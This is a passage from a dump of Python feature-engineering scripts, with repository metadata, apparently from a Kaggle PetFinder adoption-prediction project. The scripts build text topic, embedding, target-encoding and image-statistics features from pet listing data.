defaultdict(int)\n corpus = [dictionary.doc2bow(text) for text in train_corpus]\n model = LdaModel(corpus=corpus, num_topics=n_topics, id2word=dictionary)\n\n lda_score = []\n for text in corpus:\n scores = []\n for topic, score in model[text]:\n scores.append(float(score))\n lda_score.append(scores)\n\n w2v_cols = [\"lda{}\".format(i) for i in range(n_topics)]\n result = pd.DataFrame(lda_score, columns=w2v_cols)\n\n return result\n\n\nif __name__ == '__main__':\n result = w2v(train[\"Description\"])\n result.to_feather(\"../feature/lda.feather\")" }, { "alpha_fraction": 0.6199158430099487, "alphanum_fraction": 0.6335904598236084, "avg_line_length": 32.16279220581055, "blob_id": "044388fe642024637ddb7191f3d97720b1199d2e", "content_id": "19c81f536067c84a40b13771d809a81a66d431c9", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2852, "license_type": "permissive", "max_line_length": 130, "num_lines": 86, "path": "/code/fe/41scdv.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nfrom gensim.models import word2vec\nfrom sklearn.mixture import GaussianMixture\nfrom keras.preprocessing.text import text_to_word_sequence\nfrom sklearn.feature_extraction.text import TfidfVectorizer\nfrom utils import *\n\n\ndef scdv(train_text, embedding, clusters_num=60):\n '''\n input\n ---\n train_text(list): list of train text\n test_text(list): list of test text\n w2v_model(str): path of word2vec model\n embedding_dim(int): dimension of embedding\n fe_save_path(str): path of feature directory\n clusters_num(int): n_components of GMM\n '''\n train_corpus = [text_to_word_sequence(text) for text in train_text]\n model = KeyedVectors.load_word2vec_format(embedding, binary=True)\n word_vectors = model.wv.vectors\n\n gmm = GaussianMixture(n_components=clusters_num, covariance_type='tied', max_iter=50)\n gmm.fit(word_vectors)\n\n tfv = TfidfVectorizer(max_features=None, ngram_range=(1, 1))\n tfv.fit(list(train_text))\n\n idf_dic = dict(zip(tfv.get_feature_names(), tfv._tfidf.idf_))\n assign_dic = dict(zip(model.wv.index2word, gmm.predict(word_vectors)))\n soft_assign_dic = dict(zip(model.wv.index2word, gmm.predict_proba(word_vectors)))\n\n word_topic_vecs = {}\n for word in assign_dic:\n word_topic_vecs[word] = np.zeros(model.vector_size * clusters_num, dtype=np.float32)\n for i in range(0, clusters_num):\n try:\n word_topic_vecs[word][i * model.vector_size:(i + 1) * model.vector_size] = model.wv[word] * soft_assign_dic[word][\n i] * idf_dic[word]\n except:\n continue\n\n result_col = [\"scdv{}\".format(i) for i in range(1, model.vector_size*clusters_num+1)]\n scdvs_train = _get_scdv_vector(train_corpus, word_topic_vecs, clusters_num, model.vector_size)\n X = pd.DataFrame(scdvs_train)\n X.columns = result_col\n\n return X\n\n\ndef _get_scdv_vector(corpus, word_topic_vecs, clusters_num, embedding_dim, p=0.04):\n scdvs = np.zeros((len(corpus), clusters_num * embedding_dim), dtype=np.float32)\n\n a_min = 0\n a_max = 0\n\n for i, text in enumerate(corpus):\n tmp = np.zeros(clusters_num * embedding_dim, dtype=np.float32)\n for word in text:\n if word in word_topic_vecs:\n tmp += word_topic_vecs[word]\n norm = np.sqrt(np.sum(tmp ** 2))\n if norm > 0:\n tmp /= norm\n a_min += min(tmp)\n a_max += max(tmp)\n scdvs[i] = tmp\n\n a_min = a_min * 1.0 / len(corpus)\n a_max = a_max * 1.0 / len(corpus)\n thres = (abs(a_min) + abs(a_max)) / 2\n thres *= p\n\n scdvs[abs(scdvs) < thres] = 0\n\n return scdvs\n\n\n\n\n\nif __name__ == '__main__':\n embedding = '../../input/quora-embedding/GoogleNews-vectors-negative300.bin'\n X = scdv(train[\"Description\"], embedding, clusters_num=5)\n" }, { "alpha_fraction": 0.695652186870575, "alphanum_fraction": 0.7101449370384216, "avg_line_length": 36.681819915771484, "blob_id": "188cc42cbbaf7ae67bc633f25824117cf26dc9b7", "content_id": "906a4dc3b361003d7063c3d4adaed9564d47c0e8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 828, "license_type": "permissive", "max_line_length": 79, "num_lines": 22, "path": "/code/fe/5target_encoding_rescure.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import feather\nfrom category_encoders import *\nfrom sklearn.model_selection import StratifiedKFold\nfrom utils import *\n\nn_splits = 5\nkfold = StratifiedKFold(n_splits=n_splits, shuffle=True, random_state=1337)\ny_train = train['AdoptionSpeed'].values\noof_enc = np.zeros(len(train))\ntest_enc = np.zeros(len(test))\n\nfor train_index, valid_index in kfold.split(train, y_train):\n X_tr, y_tr = train.iloc[train_index, :], y_train[train_index]\n X_val, y_val = train.iloc[valid_index, :], y_train[valid_index]\n\n enc = TargetEncoder(return_df=False, smoothing=10.0)\n enc.fit(X_tr[\"RescuerID\"].values, y_tr)\n\n oof_enc[valid_index] = enc.transform(X_val[\"RescuerID\"].values).reshape(-1)\n test_enc += enc.transform(test[\"RescuerID\"].values).reshape(-1) / n_splits\n\nnp.save(\"../feature/rescuer_target_enc_sm10.npy\", oof_enc)" }, { "alpha_fraction": 0.6970474720001221, "alphanum_fraction": 0.7021822929382324, "avg_line_length": 59, "blob_id": "5c54e5b38b2c0f74e3887bdbdef278d6ea48dc64", "content_id": "c9d8d82efb5d10f1942e11a2d92594ef135268a3", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 779, "license_type": "permissive", "max_line_length": 136, "num_lines": 13, "path": "/code/fe/56lifespan.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import pandas as pd\nfrom utils import *\n\ndf = pd.read_csv(\"../feature/Lifespan.csv\")\nbreed = pd.read_csv(\"../../input/petfinder-adoption-prediction/breed_labels.csv\")\n\norig_cols = train.columns\ntrain = train.merge(df[[\"BreedID\", \"Lifespan\", \"Senior\"]], how=\"left\", left_on=\"fix_Breed1\", right_on=\"BreedID\").drop(\"BreedID\", axis=1)\ntrain = train.rename(columns={\"Lifespan\": \"Lifespan_main\", \"Senior\": \"Senior_main\"})\ntrain = train.merge(df[[\"BreedID\", \"Lifespan\", \"Senior\"]], how=\"left\", left_on=\"fix_Breed2\", right_on=\"BreedID\")\ntrain = train.rename(columns={\"BreedCatRank\": \"BreedCatRank_second\", \"BreedDogRank\": \"BreedDogRank_second\"}).drop(\"BreedID\", axis=1)\nnew_cols = [c for c in train.columns if c not in orig_cols]\ntrain[new_cols].to_feather(\"../feature/lifespan.feather\")" }, { "alpha_fraction": 0.6021220088005066, "alphanum_fraction": 0.6094164252281189, "avg_line_length": 32.511112213134766, "blob_id": "653cadd2ae1fe149f9523842e221cb0757fc2436", "content_id": "f92da367122a2194a3468fbfbc2186b9ebc1ac26", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3016, "license_type": "permissive", "max_line_length": 89, "num_lines": 90, "path": "/code/fe/21flaier_embedding.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import flair, torch\n\nif torch.cuda.is_available():\n flair.device = torch.device('cuda:0')\nelse:\n flair.device = torch.device('cpu')\n\nfrom os.path import join\nfrom flair.data import Sentence\nfrom flair.embeddings import WordEmbeddings\nfrom flair.embeddings import ELMoEmbeddings\nfrom utils import *\n\n\ndef w2v_flair(train_text, embedding, name):\n result = []\n for text in train_text:\n if len(text) == 0:\n result.append(np.zeros(embedding.embedding_length))\n continue\n\n n_w = 0\n sentence = Sentence(text)\n embedding.embed(sentence)\n for token in sentence:\n vec_ = np.array(token.embedding.detach().numpy())\n if np.sum(vec_) == 0:\n continue\n if n_w == 0:\n vec = vec_\n else:\n vec = vec + vec_\n n_w += 1\n\n if n_w == 0: n_w = 1\n vec = vec / n_w\n result.append(vec)\n\n w2v_cols = [\"{}{}\".format(name, i) for i in range(1, embedding.embedding_length + 1)]\n result = pd.DataFrame(result)\n result.columns = w2v_cols\n\n return result\n\n\nif __name__ == '__main__':\n with timer('glove'):\n embedding = WordEmbeddings('glove')\n result = w2v_flair(train[\"Description\"], embedding, name=\"glove\")\n result.to_feather(\"../feature/glove_flair.feather\")\n\n with timer('extvec'):\n embedding = WordEmbeddings('extvec')\n result = w2v_flair(train[\"Description\"], embedding, name=\"extvec\")\n result.to_feather(\"../feature/extvec_flair.feather\")\n\n with timer('crawl'):\n embedding = WordEmbeddings('crawl')\n result = w2v_flair(train[\"Description\"], embedding, name=\"crawl\")\n result.to_feather(\"../feature/crawl_flair.feather\")\n\n with timer('turian'):\n embedding = WordEmbeddings('turian')\n result = w2v_flair(train[\"Description\"], embedding, name=\"turian\")\n result.to_feather(\"../feature/turian_flair.feather\")\n\n with timer('twitter'):\n embedding = WordEmbeddings('twitter')\n result = w2v_flair(train[\"Description\"], embedding, name=\"twitter\")\n result.to_feather(\"../feature/twitter_flair.feather\")\n\n with timer('news'):\n embedding = FlairEmbeddings('news-forward')\n result = w2v_flair(train[\"Description\"], embedding, name=\"news_flair\")\n result.to_feather(\"../feature/news_flair.feather\")\n\n with timer('char'):\n embedding = CharacterEmbeddings()\n result = w2v_flair(train[\"Description\"], embedding, name=\"char\")\n result.to_feather(\"../feature/char_flair.feather\")\n\n with timer('byte_pair'):\n embedding = BytePairEmbeddings('en')\n result = w2v_flair(train[\"Description\"], embedding, name=\"byte_pair\")\n result.to_feather(\"../feature/byte_pair_flair.feather\")\n\n with timer('elmo'):\n embedding = ELMoEmbeddings('medium')\n result = w2v_flair(train[\"Description\"], embedding, name=\"elmo\")\n result.to_feather(\"../feature/elmo_flair.feather\")\n" }, { "alpha_fraction": 0.644385039806366, "alphanum_fraction": 0.6604278087615967, "avg_line_length": 33.09090805053711, "blob_id": "09e5111362defbb3366238759759c63f2f31cbdf", "content_id": "0cbd796c51bfb24893f9411311807b290d9ff756", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 374, "license_type": "permissive", "max_line_length": 62, "num_lines": 11, "path": "/code/fe/52dense_agg.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import feather\nfrom utils import *\n\ndf = feather.read_dataframe(\"../feature/dense121_2_X.feather\")\nagg = df.groupby(\"PetID\").agg([\"min\", \"max\", \"var\", \"sum\"])\nnew_cols = [\"{}_{}\".format(c[0], c[1]) for c in agg.columns]\nagg.columns = new_cols\nagg = agg.reset_index()\n\ntrain = train.merge(agg, how=\"left\", on=\"PetID\")\ntrain[new_cols].to_feather(\"../feature/denseagg.feather\")" }, { "alpha_fraction": 0.6676406264305115, "alphanum_fraction": 0.6734842658042908, "avg_line_length": 29.44444465637207, "blob_id": "0fcbb78720278278b94caa707351f31bfe5f360f", "content_id": "a9377cbec816b2ec40f596d5df70aa5d443d5f07", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1369, "license_type": "permissive", "max_line_length": 127, "num_lines": 45, "path": "/code/fe/38target_encoding.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "import feather\nfrom category_encoders import *\nfrom sklearn.model_selection import GroupKFold\nfrom utils import *\n\ncategorical_features = [\n 'Breed1',\n 'Breed2',\n 'Color1',\n 'Color2',\n 'Color3',\n 'Dewormed',\n 'FurLength',\n 'Gender',\n 'Health',\n 'MaturitySize',\n 'State',\n 'Sterilized',\n 'Vaccinated'\n]\n\nn_splits = 5\ncv = GroupKFold(n_splits=n_splits)\n\nfor c in categorical_features:\n train[c] = train[c].astype(\"str\") + \"e\"\n\ntest = train[len_train:]\ntrain = train[:len_train]\ny_train = train['AdoptionSpeed'].values[:len_train]\nrescuer_id = train[\"RescuerID\"].values[:len_train]\noof_enc = np.zeros((len(train), len(categorical_features)))\ntest_enc = np.zeros((len(test), len(categorical_features)))\n\nfor train_index, valid_index in cv.split(range(len(train)), y=None, groups=rescuer_id):\n X_tr, y_tr = train.iloc[train_index, :], y_train[train_index]\n X_val, y_val = train.iloc[valid_index, :], y_train[valid_index]\n\n enc = TargetEncoder(return_df=False, smoothing=1.0)\n enc.fit(X_tr[categorical_features].values, y_tr)\n\n oof_enc[valid_index] = enc.transform(X_val[categorical_features].values)\n test_enc += enc.transform(test[categorical_features].values) / n_splits\n\npd.DataFrame(oof_enc, columns=[c+\"target_encode\" for c in categorical_features]).to_feather(\"../feature/target_encode.feather\")" }, { "alpha_fraction": 0.572864294052124, "alphanum_fraction": 0.5743000507354736, "avg_line_length": 37.72222137451172, "blob_id": "f559ec9f7f2b2a222a0f6b7dbbfaab9eb93ee97b", "content_id": "23be837e08e5e2517d9cfc1fc2675dc712ed0cec", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1393, "license_type": "permissive", "max_line_length": 117, "num_lines": 36, "path": "/code/fe/2aggregate_rescure.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\n\n\nclass Aggregation():\n def __init__(self, categorical_column, num_aggregations):\n self.categorical_column = categorical_column\n\n self.num_aggregations = num_aggregations\n self.numeric_columns = list(self.num_aggregations.keys())\n\n def create_features(self, df):\n gp = df[[self.categorical_column] + self.numeric_columns].groupby([self.categorical_column])\n agg = gp.agg({**self.num_aggregations})\n new_cols = ['agg_{}_{}_{}'.format(self.categorical_column, e[0], e[1].upper()) for e in agg.columns.tolist()]\n agg.columns = pd.Index(new_cols)\n df = df.merge(agg, how=\"left\", on=self.categorical_column)\n\n return df[['PetID']+new_cols]\n\n\nif __name__ == \"__main__\":\n aggs = {\n 'MaturitySize': ['min', 'max', 'mean', \"sum\"],\n 'FurLength': ['min', 'max', 'mean', \"sum\"],\n # 'Vaccinated': ['min', 'max', 'mean', \"sum\"],\n # 'Dewormed': ['min', 'max', 'mean', \"sum\"],\n # 'Sterilized': ['min', 'max', 'mean', \"sum\"],\n 'Health': ['min', 'max', 'mean', \"sum\"],\n # 'Quantity': ['min', 'max', 'mean', \"sum\"],\n 'Fee': ['min', 'max', 'mean', \"sum\"],\n }\n\n categorical_column = 'RescuerID'\n aggregator = Aggregation(categorical_column, aggs)\n all_data_agg = aggregator.create_features(train)\n all_data_agg.to_feather(\"../feature/rescuer_agg.feather\")" }, { "alpha_fraction": 0.6182237863540649, "alphanum_fraction": 0.6352364420890808, "avg_line_length": 37.53333282470703, "blob_id": "7949b60ba91402251f639ee5299f6d66b2f9f37d", "content_id": "cefb599429e10018e394cf6c4822c44bf7d7a426", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3468, "license_type": "permissive", "max_line_length": 106, "num_lines": 90, "path": "/code/fe/22image_avito.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from skimage import io\nfrom skimage.color import gray2rgb\nfrom utils import *\n\n\ndef calc_dom(X):\n img = Image.fromarray(X)\n img = np.float32(img)\n img = img.reshape((-1, 3))\n\n n_colors = 5\n criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 200, .1)\n flags = cv2.KMEANS_RANDOM_CENTERS\n _, labels, centroids = cv2.kmeans(img, n_colors, None, criteria, 10, flags)\n\n palette = np.uint8(centroids)\n quant = palette[labels.flatten()]\n quant = quant.reshape(img.shape)\n\n dominant_color = palette[np.argmax(itemfreq(labels)[:, -1])]\n\n return dominant_color / 255\n\n\n# average_color\ndef avg_c(X):\n average_color = [X[:, :, i].mean() for i in range(X.shape[-1])]\n return np.array(average_color) / 255\n\n\ndef calc_brightness(chennel, black_lim, white_lim):\n n_pixel = chennel.shape[0] * chennel.shape[1]\n whiteness = len(chennel[chennel > white_lim]) / n_pixel\n dullness = len(chennel[chennel < black_lim]) / n_pixel\n\n return whiteness, dullness\n\n\ndef average_pixel_width(im):\n im_array = np.asarray(cv2.cvtColor(im, cv2.COLOR_BGR2GRAY))\n edges_sigma1 = feature.canny(im_array, sigma=3)\n apw = (float(np.sum(edges_sigma1)) / (im.shape[0] * im.shape[1]))\n return apw * 100\n\n\ndef get_blurrness_score(image):\n image = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n fm = cv2.Laplacian(image, cv2.CV_64F).var()\n return fm\n\n\nwith timer('image'):\n train_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/train_images/*.jpg'))\n test_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/test_images/*.jpg'))\n image_files = train_image_files + test_image_files\n train_images = pd.DataFrame(image_files, columns=['image_filename'])\n train_images['PetID'] = train_images['image_filename'].apply(lambda x: x.split('/')[-1].split('-')[0])\n\nwith timer('image'):\n train_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/train_images/*.jpg'))\n test_image_files = sorted(glob.glob('../../input/petfinder-adoption-prediction/test_images/*.jpg'))\n image_files = train_image_files + test_image_files\n train_images = pd.DataFrame(image_files, columns=['image_filename'])\n train_images['PetID'] = train_images['image_filename'].apply(lambda x: x.split('/')[-1].split('-')[0])\n\nwith timer('img_basic'):\n features = []\n for i, (file_path, pet_id) in enumerate(train_images.values):\n im = io.imread(file_path)\n if len(im.shape) == 2:\n im = gray2rgb(im)\n avg = list(avg_c(im).flatten().astype(np.float32))\n\n color_list = [\"red\", \"blue\", \"green\"]\n whiteness_, dullness_ = [], []\n for i, color in enumerate(color_list):\n whiteness, dullness = calc_brightness(im[:, :, i], 20, 240)\n whiteness_ += [whiteness]\n dullness_ += [dullness]\n blu = get_blurrness_score(im)\n features.append(avg + whiteness_ + dullness_ + [blu, pet_id])\n\n color_list = [\"red\", \"blue\", \"green\"]\n cols = [\"avg_\" + color for color in color_list] + [\"whiteness_\" + color for color in color_list] + \\\n [\"dullness_\" + color for color in color_list] + [\"blurrness\", \"PetID\"]\n X = pd.DataFrame(features, columns=cols)\n gp = X.groupby(\"PetID\").mean().reset_index()\n new_cols = list(gp.drop(\"PetID\", axis=1).columns)\n train = train.merge(gp, how=\"left\", on=\"PetID\")\n train[new_cols].to_feather(\"../feature/image_basic.feather\")\n" }, { "alpha_fraction": 0.539610743522644, "alphanum_fraction": 0.5607575178146362, "avg_line_length": 43.00925827026367, "blob_id": "dd537c52d0ce77803c9b7c3d2cc87c099ac1130f", "content_id": "2c6d822f34a245b97fae29f7b31056840402d1f2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10055, "license_type": "permissive", "max_line_length": 151, "num_lines": 216, "path": "/code/fe/53china_process.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "from utils import *\nos.system('python ../input/jieba-package/repository/fxsjy-jieba-8212b6c/setup.py install')\nimport jieba\nimport sys\nfrom nltk.corpus import stopwords\n\nen_stopwords = stopwords.words('english')\nnon_bmp_map = dict.fromkeys(range(0x10000, sys.maxunicode + 1), ' ')\nkanji = re.compile('[一-龥]')\n\ndef analyzer_bow(text):\n stop_words = ['i', 'a', 'an', 'the', 'to', 'and', 'or', 'if', 'is', 'are', 'am', 'it', 'this', 'that', 'of', 'from',\n 'in', 'on']\n text = text.lower() # 小文字化\n text = text.replace('\\n', '') # 改行削除\n text = text.replace('\\t', '') # タブ削除\n puncts = r',.\":)(-!?|;\\'$&/[]>%=#*+\\\\•~@£·_{}©^®`<→°€™›♥←ק″′Â█½à…“★”–●â►−¢²¬░¶↑±¿▾═¦║―¥▓—‹─▒:¼⊕▼▪†■’▀¨▄♫☆é¯♦¤▲踾Ã⋅‘∞∙)↓、│(»,♪╩╚³・╦╣╔╗▬❤ïع≤‡√。【】'\n for punct in puncts:\n text = text.replace(punct, f' {punct} ')\n for bad_word in contraction_mapping:\n if bad_word in text:\n text = text.replace(bad_word, contraction_mapping[bad_word])\n if re.search(kanji, text):\n text = \" \".join([word for word in jieba.cut(text) if word != ' '])\n text = text.split(' ') # スペースで区切る\n text = [sb.stem(t) for t in text]\n\n words = []\n for word in text:\n if (re.compile(r'^.*[0-9]+.*$').fullmatch(word) is not None): # 数字が含まれるものは分割\n for w in re.findall(r'(\\d+|\\D+)', word):\n words.append(w)\n continue\n if word in stop_words: # ストップワードに含まれるものは除外\n continue\n if len(word) < 2: # 1文字、0文字(空文字)は除外\n continue\n words.append(word)\n\n return \" \".join(words)\n\n\ndef analyzer_embed(text):\n text = text.lower() # 小文字化\n text = text.replace('\\n', '') # 改行削除\n text = text.replace('\\t', '') # タブ削除\n puncts = r',.\":)(-!?|;\\'$&/[]>%=#*+\\\\•~@£·_{}©^®`<→°€™›♥←ק″′Â█½à…“★”–●â►−¢²¬░¶↑±¿▾═¦║―¥▓—‹─▒:¼⊕▼▪†■’▀¨▄♫☆é¯♦¤▲踾Ã⋅‘∞∙)↓、│(»,♪╩╚³・╦╣╔╗▬❤ïع≤‡√。【】'\n for punct in puncts:\n text = text.replace(punct, f' {punct} ')\n for bad_word in contraction_mapping:\n if bad_word in text:\n text = text.replace(bad_word, contraction_mapping[bad_word])\n if re.search(kanji, text):\n text = \" \".join([word for word in jieba.cut(text) if word != ' '])\n text = text.split(' ') # スペースで区切る\n\n words = []\n for word in text:\n if (re.compile(r'^.*[0-9]+.*$').fullmatch(word) is not None): # 数字が含まれるものは分割\n for w in re.findall(r'(\\d+|\\D+)', word):\n words.append(w)\n continue\n if len(word) < 1: # 0文字(空文字)は除外\n continue\n words.append(word)\n\n return \" \".join(words)\n\ntrain[\"Description_Emb2\"] = [analyzer_embed(text) for text in train[\"Description\"]]\ntrain[\"Description_bow2\"] = [analyzer_bow(text) for text in train[\"Description\"]]\n\ntrain = train.reset_index(drop=True)\norig_cols = train.columns\nwith timer('tfidf + svd / nmf / bm25'):\n vectorizer = make_pipeline(\n TfidfVectorizer(),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow2'])\n X = pd.DataFrame(X, columns=['tfidf_svd_{}'.format(i) for i in range(n_components)]\n + ['tfidf_nmf_{}'.format(i) for i in range(n_components)]\n + ['tfidf_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\nwith timer('count + svd / nmf / bm25'):\n vectorizer = make_pipeline(\n CountVectorizer(),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow2'])\n X = pd.DataFrame(X, columns=['count_svd_{}'.format(i) for i in range(n_components)]\n + ['count_nmf_{}'.format(i) for i in range(n_components)]\n + ['count_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\nwith timer('tfidf2 + svd / nmf / bm25'):\n vectorizer = make_pipeline(\n TfidfVectorizer(min_df=2, max_features=20000,\n strip_accents='unicode', analyzer='word', token_pattern=r'\\w{1,}',\n ngram_range=(1, 3), use_idf=1, smooth_idf=1, sublinear_tf=1, stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow2'])\n X = pd.DataFrame(X, columns=['tfidf2_svd_{}'.format(i) for i in range(n_components)]\n + ['tfidf2_nmf_{}'.format(i) for i in range(n_components)]\n + ['tfidf2_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\nwith timer('count2 + svd / nmf / bm25'):\n vectorizer = make_pipeline(\n CountVectorizer(min_df=2, max_features=20000,\n strip_accents='unicode', analyzer='word', token_pattern=r'\\w{1,}',\n ngram_range=(1, 3), stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow2'])\n X = pd.DataFrame(X, columns=['count2_svd_{}'.format(i) for i in range(n_components)]\n + ['count2_nmf_{}'.format(i) for i in range(n_components)]\n + ['count2_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\nwith timer('tfidf3 + svd / nmf / bm25'):\n vectorizer = make_pipeline(\n TfidfVectorizer(min_df=30, max_features=50000, binary=True,\n strip_accents='unicode', analyzer='char', token_pattern=r'\\w{1,}',\n ngram_range=(3, 3), use_idf=1, smooth_idf=1, sublinear_tf=1, stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow2'])\n X = pd.DataFrame(X, columns=['tfidf3_svd_{}'.format(i) for i in range(n_components)]\n + ['tfidf3_nmf_{}'.format(i) for i in range(n_components)]\n + ['tfidf3_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\nwith timer('count3 + svd / nmf / bm25'):\n vectorizer = make_pipeline(\n CountVectorizer(min_df=30, max_features=50000, binary=True,\n strip_accents='unicode', analyzer='char', token_pattern=r'\\w{1,}',\n ngram_range=(3, 3), stop_words='english'),\n make_union(\n TruncatedSVD(n_components=n_components, random_state=seed),\n NMF(n_components=n_components, random_state=seed),\n make_pipeline(\n BM25Transformer(use_idf=True, k1=2.0, b=0.75),\n TruncatedSVD(n_components=n_components, random_state=seed)\n ),\n n_jobs=1,\n ),\n )\n X = vectorizer.fit_transform(train['Description_bow2'])\n X = pd.DataFrame(X, columns=['count3_svd_{}'.format(i) for i in range(n_components)]\n + ['count3_nmf_{}'.format(i) for i in range(n_components)]\n + ['count3_bm25_{}'.format(i) for i in range(n_components)])\n train = pd.concat([train, X], axis=1)\n del vectorizer; gc.collect()\n\nwith timer('description fasttext'):\n embedding = '../../input/quora-embedding/GoogleNews-vectors-negative300.bin'\n model = KeyedVectors.load_word2vec_format(embedding, binary=True)\n X = pretrained_w2v(train[\"Description_Emb2\"], model, name=\"gnvec\")\n train = pd.concat([train, X], axis=1)\n del model; gc.collect()\n\nwith timer('description glove'):\n embedding = \"../../input/pymagnitude-data/glove.840B.300d.magnitude\"\n model = Magnitude(embedding)\n X = w2v_pymagnitude(train[\"Description_Emb2\"], model, name=\"glove\")\n train = pd.concat([train, X], axis=1)\n del model; gc.collect()\nnew_cols = [c for c in train.columns if c not in orig_cols]\ntrain[new_cols].to_feather(\"new_text_feats.feather\")" }, { "alpha_fraction": 0.5592882037162781, "alphanum_fraction": 0.5698202252388, "avg_line_length": 33.42499923706055, "blob_id": "f8d7a70ccf93e688dab90ae3e3564c68397d0c86", "content_id": "d154722abcdc5fce5319759c7d0311b2aec57272", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5509, "license_type": "permissive", "max_line_length": 103, "num_lines": 160, "path": "/code/fe/29a_la_carte.py", "repo_name": "sunilsharma07/pet_finder", "src_encoding": "UTF-8", "text": "#https://github.com/NLPrinceton/ALaCarte/blob/master/alacarte.py\n\nfrom collections import Counter\n\nimport numpy as np\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import normalize\nfrom gensim.models import KeyedVectors\nfrom keras.preprocessing.text import text_to_word_sequence\n\nfrom tqdm import tqdm\nfrom utils import *\n\n\ndef window_without_center(seq, n=1):\n start = 0\n seq_len = len(seq)\n\n while True:\n center = start + n\n end = center + n + 1\n\n window_index_list = range(start, end)\n yield seq[center], [seq[i] for i in window_index_list if i != center]\n\n start += 1\n if end >= seq_len:\n break\n\n\ndef ngram(words, n):\n return [t for t in list(zip(*(words[i:] for i in range(n))))]\n\n\nclass ALaCarteEmbedding():\n def __init__(self, word2vec, tokenize, target_word_list=[], ngram=[1], window_size=1, min_count=1):\n self.w2v = word2vec\n self.embedding_dim = self.w2v.vector_size\n self.vocab = set(self.w2v.vocab.keys())\n self.target_word_list = set(target_word_list)\n for word in self.target_word_list:\n self.vocab.add(word)\n self.tokenize = tokenize\n self.ngram = ngram\n self.window_size = window_size\n self.min_count = min_count\n\n self.c2v = {}\n self.target_counts = Counter()\n self.alacarte = {}\n\n def _get_embedding_vec(self, token):\n if type(token) == str:\n # for unigram\n if token in self.w2v.vocab:\n return self.w2v[token]\n else:\n return np.zeros(self.embedding_dim)\n else:\n # for ngram\n vec = np.zeros(self.embedding_dim)\n for t in token:\n if t in self.w2v.vocab:\n vec += self.w2v[t]\n return vec\n\n def _make_context_vectors(self, tokens, n):\n if n > 1:\n token_list = ngram(tokens, n)\n else:\n token_list = tokens\n\n for target_token, context in window_without_center(token_list, self.window_size):\n context_vector = np.zeros(self.embedding_dim)\n if self.target_word_list and target_token not in self.vocab:\n # target_word_list is specified and each target token is not in the vocabulary\n continue\n\n for token in context:\n context_vector += self._get_embedding_vec(token)\n\n if target_token in self.c2v:\n self.c2v[target_token] += context_vector\n else:\n self.c2v[target_token] = context_vector\n self.vocab.add(target_token)\n self.target_counts[target_token] += 1\n\n def build(self, sentences):\n # compute each word’s context embedding\n 